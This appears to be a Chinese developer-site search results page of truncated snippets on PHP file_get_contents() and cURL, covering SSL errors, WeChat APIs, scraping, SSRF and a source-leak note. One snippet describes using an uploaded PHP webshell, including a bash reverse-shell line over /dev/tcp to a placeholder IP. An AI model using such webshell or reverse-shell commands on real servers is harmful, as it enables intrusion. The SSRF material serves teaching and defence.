首页
学习
活动
专区
圈层
工具
发布

网站提示file_get_contents(): SSL: Handshake timed out错误怎么解决

导航主题模板在部分网友的网站会偶尔提示:file_get_contents(): SSL: Handshake timed out的错误,网友的站点是php5.6版本,但也不是所有的都会出现此错误提示,...原因是:在服务器上使用file_get_contents() 函数请求https 协议的url文件时会报错误,无法正确读取文件内容,在PHP中file_get_contents() 函数是用于将文件的内容读入到一个字符串中...,是读取文件内容常用的函数之一,也是导航主题模板采集和调用百度热搜的代码。...用curl替换file_get_content() 代码如下: function get_data($url) { $ch = curl_init(); $timeout = 10; curl_setopt...($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);        //返回结果 curl_setopt($ch,CURLOPT_CONNECTTIMEOUT

5.5K20

微信公众平台开发笔记

网上有非常多 API 接口,如百度翻译,有道翻译,天气预报等,对接口的调用能够直接用 file_get_contents ,也能够用 curl 的方式进行抓取,然后依据返回数据的格式进行数据解析,一般都是...xml 格式或者 json 格式,处理时用 SimpleXML 和 json_decode 是非常方便的。...对于抓取 API 内容,用又一次封装的函数: function my_get_file_contents($url){ if(function_exists('file_get_contents..., $url); //设置cURL 參数,要求结果保存到字符串中还是输出到屏幕上 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1...限定为 6-20个字母,符合则返回 true ,否则返回 false,採用正則表達式进行匹配: function inputCheck($word) { if(preg_match("/^[0-9a-zA-Z

3.2K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Laravel学习记录--微信开发(day1)

    当普通用户发送消息到公众号时,微信服务器会发送POST请求到我们的服务器,包含一个XML的数据包 图片 XML和JSON一样都是通用的数据类型 既然是发送POST请求,那我们是不是可以用$_POST...尝试一下 首先关注我们这个测试公众号 “开发者工具----公众平台测试账号”,下拉鼠标有个测试二维码,扫码并关注 接下来的开发都基于此账号 图片 本地服务器接收数据 $txt = $_POST[...//设置参数 curl_setopt($curl, CURLOPT_URL,$url); curl_setopt($curl, CURLOPT_HEADER,0);//不返回header头 curl_setopt...//设置参数 curl_setopt($curl, CURLOPT_URL,$url); curl_setopt($curl, CURLOPT_HEADER,0);//不返回header头 curl_setopt...,0);//不返回header头 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//数据返回而不是输出 curl_setopt($curl,

    1.7K10

    SSRF漏洞讲解

    这里根据后续处理逻辑不同,还会分为回显型ssrf和非回显型ssrf,所谓的回显型的ssrf就是会将访问到的信息返回给攻击者,而非回显的ssrf则不会,但是可以通过dns log或者访问开放/未开放的端口导致的延时来判断...5.常见缺失函数 二、SSRF漏洞利用 1.函数 (1) file_get_contents 这个函数的名称很简单 就是获取文件的参数 file_get_contents() 把整个文件读入一个字符串中...该函数是用于把文件的内容读入到一个字符串中的首选方法 <?php echo file_get_contents("test.txt"); ?...php // 创建一个cURL资源 $ch = curl_init(); // 设置URL和相应的选项 curl_setopt($ch, CURLOPT_URL, "http://www.w3cschool.cc...在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。

    1.4K40

    源码泄露问题

    Git 源码泄露 开发人员会使用 git 进行版本控制,对站点自动部署。...接收data变量是通过file_get_contents(‘php://input’),并进行json_decode,我的理解是和golang中接收后用unmarshal进行解析一样 file_get_contents...(‘php://input’)和$_POST在接收变量值的方面没有什么不同,都可以通过burp进行传入值,但是在接收格式的方面不同 file_get_contents(‘php://input’)不能接收...curl post过来的数组,用file_get_contents是为了接收json字符串,$_POST为了接收一维数组或&拼接的标准格式的键值对字符串 当请求data变量中的action参数为buy时...)函数会将括号中的字符当成代码来执行,并返回true或false,strpos()函数会返回字符串第一次出现的位置,如果没有找到则返回False 于是重心就放在file变量中,发现file变量是用我们输入的

    46810

    从零开始,学会 PHP 采集

    第二行代码是一个输出语句,用 echo 输出一个字符串。字符串用单引号包起来。其实用双引号也是一样的。双引号与单引号的区别是双引号中可以直接放变量。...我们可以直接用 file_get_contents('要抓取的网址') 来获取指定网址(接口)的内容 代码示例: <?...下面以 126 的 IP 定位接口为例: http://ip.ws.126.net/ipquery   直接访问这个接口地址,你会发现浏览器返回了你当前的 省份 和 城市 信息。...你用 PHP 从服务器去抓取,接口那边获取到的是你服务器的 IP,然后返回服务器的地址,没毛病! 那么,可不可以在服务器那边伪造一个 IP 地址,然后去抓取呢?...仔细观察返回的数据,其实内容中除了城市和省份,其它的内容是固定的,格式如下: var lo="省份", lc="城市"; 我们可以以此来编写正则表达式。

    2.5K30

    从零开始,学会 PHP 采集

    第二行代码是一个输出语句,用 echo 输出一个字符串。字符串用单引号包起来。其实用双引号也是一样的。双引号与单引号的区别是双引号中可以直接放变量。每一句 PHP 代码的结尾都用半角的分号表示结束。...PHP 有一个很方便的文件读取函数:file_get_contents()。我们可以直接用 file_get_contents('要抓取的网址') 来获取指定网址(接口)的内容 代码示例: <?...下面以 126 的 IP 定位接口为例: http://ip.ws.126.net/ipquery 直接访问这个接口地址,你会发现浏览器返回了你当前的 省份 和 城市 信息。...你用 PHP 从服务器去抓取,接口那边获取到的是你服务器的 IP,然后返回服务器的地址,没毛病! 那么,可不可以在服务器那边伪造一个 IP 地址,然后去抓取呢?...仔细观察返回的数据,其实内容中除了城市和省份,其它的内容是固定的,格式如下: var lo="省份", lc="城市"; 我们可以以此来编写正则表达式。

    2.1K30

    记录file_get_contents返回空字符串的问题

    ,结果下午群里就有一位朋友遇到了一个诡异的老版本 PHP 问题:当使用 file_get_contents 抓取网页内容的时候,总是返回空字符串,奇怪的是换用 curl 扩展后又一切正常。...既然 curl 能够正常工作,至少可以证明网络本身没问题。 首先值得怀疑的是 allow_url_fopen 配置。如果没有开启它的话, file_get_contents 是不能访问远程地址的。...接着还怀疑过是不是和 ignore_errors 配置有关。(排除!)...然后尝试着用 strace、ltrace 跟踪了一下代码,发现目标服务器已经接收到了请求,并且成功返回了数据,可是 file_get_contents 就是返回空。 问题到了这里似乎没招儿了。...试着去掉 with-curl-wrappers 重新编译一下 PHP,尼玛问题依旧!

    99830

    SSRF漏洞原理解析

    SSRF的实质就是利用存在缺陷的Web站点作为代理攻击远程和本地的服务器。 SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器获取数据的功能但没有对目标地址做过滤与限制。...,PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec() file_get_contents() 这个函数的作用是将整个文件读入一个字符串中...比如:下面的代码执行结果是输出test.txt文件里面的字符串。 <?php echo file_get_contents(“test.txt”); ?...2.1、SSRF(curl): 首先来看使用curl_exec()函数的ssrf靶场,点击页面链接会返回一首诗,观察发现它传递了一个url请求给后台 查看后端代码,可以看到它是用get获取了前端的...url请求,curl_exec函数执行请求,最终又将请求结果返回到前端。

    11.7K37

    使用 `wget` 和 `curl` 命令行工具的全面指南

    使用 wget 和 curl 命令行工具的全面指南 在网络开发、系统管理和自动化脚本中,wget 和 curl 是两个不可或缺的命令行工具。它们允许用户通过命令行接口与各种网络资源进行交互。...这篇博客将深入探讨这两个工具,比较它们的功能、用法,并通过具体的示例展示如何在实际工作中使用它们。 一、什么是 wget 和 curl?...二、wget 和 curl 的主要区别 尽管 wget 和 curl 都可以用于下载文件和与网络资源交互,但它们在设计目标和使用场景上有所不同。...,curl 发送的是 GET 请求,并返回服务器响应的内容: curl http://api.example.com/resource 4.4 发送 POST 请求 可以使用 -d 选项发送 POST...通过本文,你应该对 wget 和 curl 有了更深入的了解,并掌握了如何在实际项目中应用它们的技能。

    62110

    PHP一句话木马使用技巧

    > firefox浏览器:hackbar 命令提示符:curl 首先上传一句话木马到网站目录,可以是虚拟机也可以是VPS,我这里用的是阿里云我自己搭建的网站, 由于只是简单的一句话木马,因次一上车就收到了安全云的短信安全提示...利用hackbar链接木马 利用system();执行系统命令 利用file_get_contents进行文件读取,然后用echo,或print打印出这个字符串。...file_get_contents是将文件内容读入到一个字符串当中。...file_get_contents还可以替换成其他的函数 反弹shell,最重要的是记得进行url编码,不然会失败的 反射shell的语句有很多,这里是用的是最简单的bash -i >& /dev/tcp.../ip/post 0>&1 利用curl链接一句话木马 基本上跟上面一样,curl参数-X post 指定http方法为post –data 后面跟post的内容 scandir() 函数返回指定目录中的文件和目录的数组

    3.2K20

    php开发微信公众号步骤_微信公众平台php对接

    微信发送的消息格式都是 XML 格式,你返回的消息也必须是 XML 格式。从 XML 里提取数据,用 SimpleXML,强大又容易使用。包装成 XML 消息呢?...网上有很多 API 接口,如百度翻译,有道翻译,天气预报等,对接口的调用可以直接用 file_get_contents ,也可以用 curl 的方式进行抓取,然后根据返回数据的格式进行数据解析,一般都是...xml 格式或者 json 格式,处理时用 SimpleXML 和 json_decode 是很方便的。...对于抓取 API 内容,用重新封装的函数: function my_get_file_contents($url){ if(function_exists(‘file_get_contents’))...{ file_contents = file_get_contents(url); } else { //初始化一个cURL对象 $ch = curl_init(); $timeout = 5;

    17.9K30

    SSRF漏洞原理攻击与防御

    SSRF漏洞原理攻击与防御 前言:笔者对SSRF的进一步研究学习基于网络安全爱好者的兴趣,与白帽黑客的责任,仅在专业靶场和补天平台授权站点进行测试。...: file_get_contents() 把整个文件读入一个字符串中。...file_get_contents(path,include_path,context,start,max_length) #下面的代码使用file_get_contents函数从用户指定的url获取图片...那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。...//参数为1表示输出信息头,为0表示不输出 //设定curl_exec()函数将响应结果返回,而不是直接输出 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    1.1K10

    WordPress开发日志:利用Ajax添加文章页自动推送并显示推送结果

    虽然push.js仍然能够访问,但是接口早已关闭,所以已经没什么用。...GIf,文字回显 API设计 为了维护方便,建议写两个PHP API,一个用来检测收录,一个用来推送: Check_record.php 自定义BD_Curl获取记录并返回对应的JSON push_baidu.php...官方提供的PHP例子+JSON返回 现在网络上大多数的check_record(检测百度是否收录)大部分已经失效,我们这里自定义一个BD_Curl来获取记录值,对于本地和服务器均有效。...php 显示JSON格式的字符串,便于后续通过Ajax请求获取返回值,达到修改前端页面的效果 { 参数 说明 code 状态 url 传入的url is_shoulu 返回是否收录 Push_baidu...php 同样也显示JSON字符串,便于后续的Ajax请求,以下是该PHP显示的JSON: { 参数 说明 code 1为收录,0没有收录 url 传入的url 同样地,你也可以选择使用file_get_contents

    91720

    如何加速WordPress网站

    测试响应时间 curl在您的故障排除之前,从家用计算机运行此命令以测试站点速度: time curl http:// -s 1>/dev/null 12.79...对于此查询不是这种情况,因此您将在代码库中搜索它出现的位置。...关于插件和主题的注意事项 使用的慢代码示例都与特定插件相关,解决方案是停用它们。如果您需要插件的功能但加载速度很慢,请尝试搜索执行相同操作的其他插件并测试它们以查看它们是否更有效。...降低图像的分辨率并针对Web优化它们。像WP Smush这样的插件可以处理这个任务。 缩小网站加载的CSS和JavaScript。缩小是压缩代码的过程,因此人们难以阅读,但计算机处理速度更快。...用/var/www/htmlWeb服务器的文档根替换实例: wget -O xhgui.zip https://github.com/perftools/xhgui/archive/master.zip

    6.2K30
    领券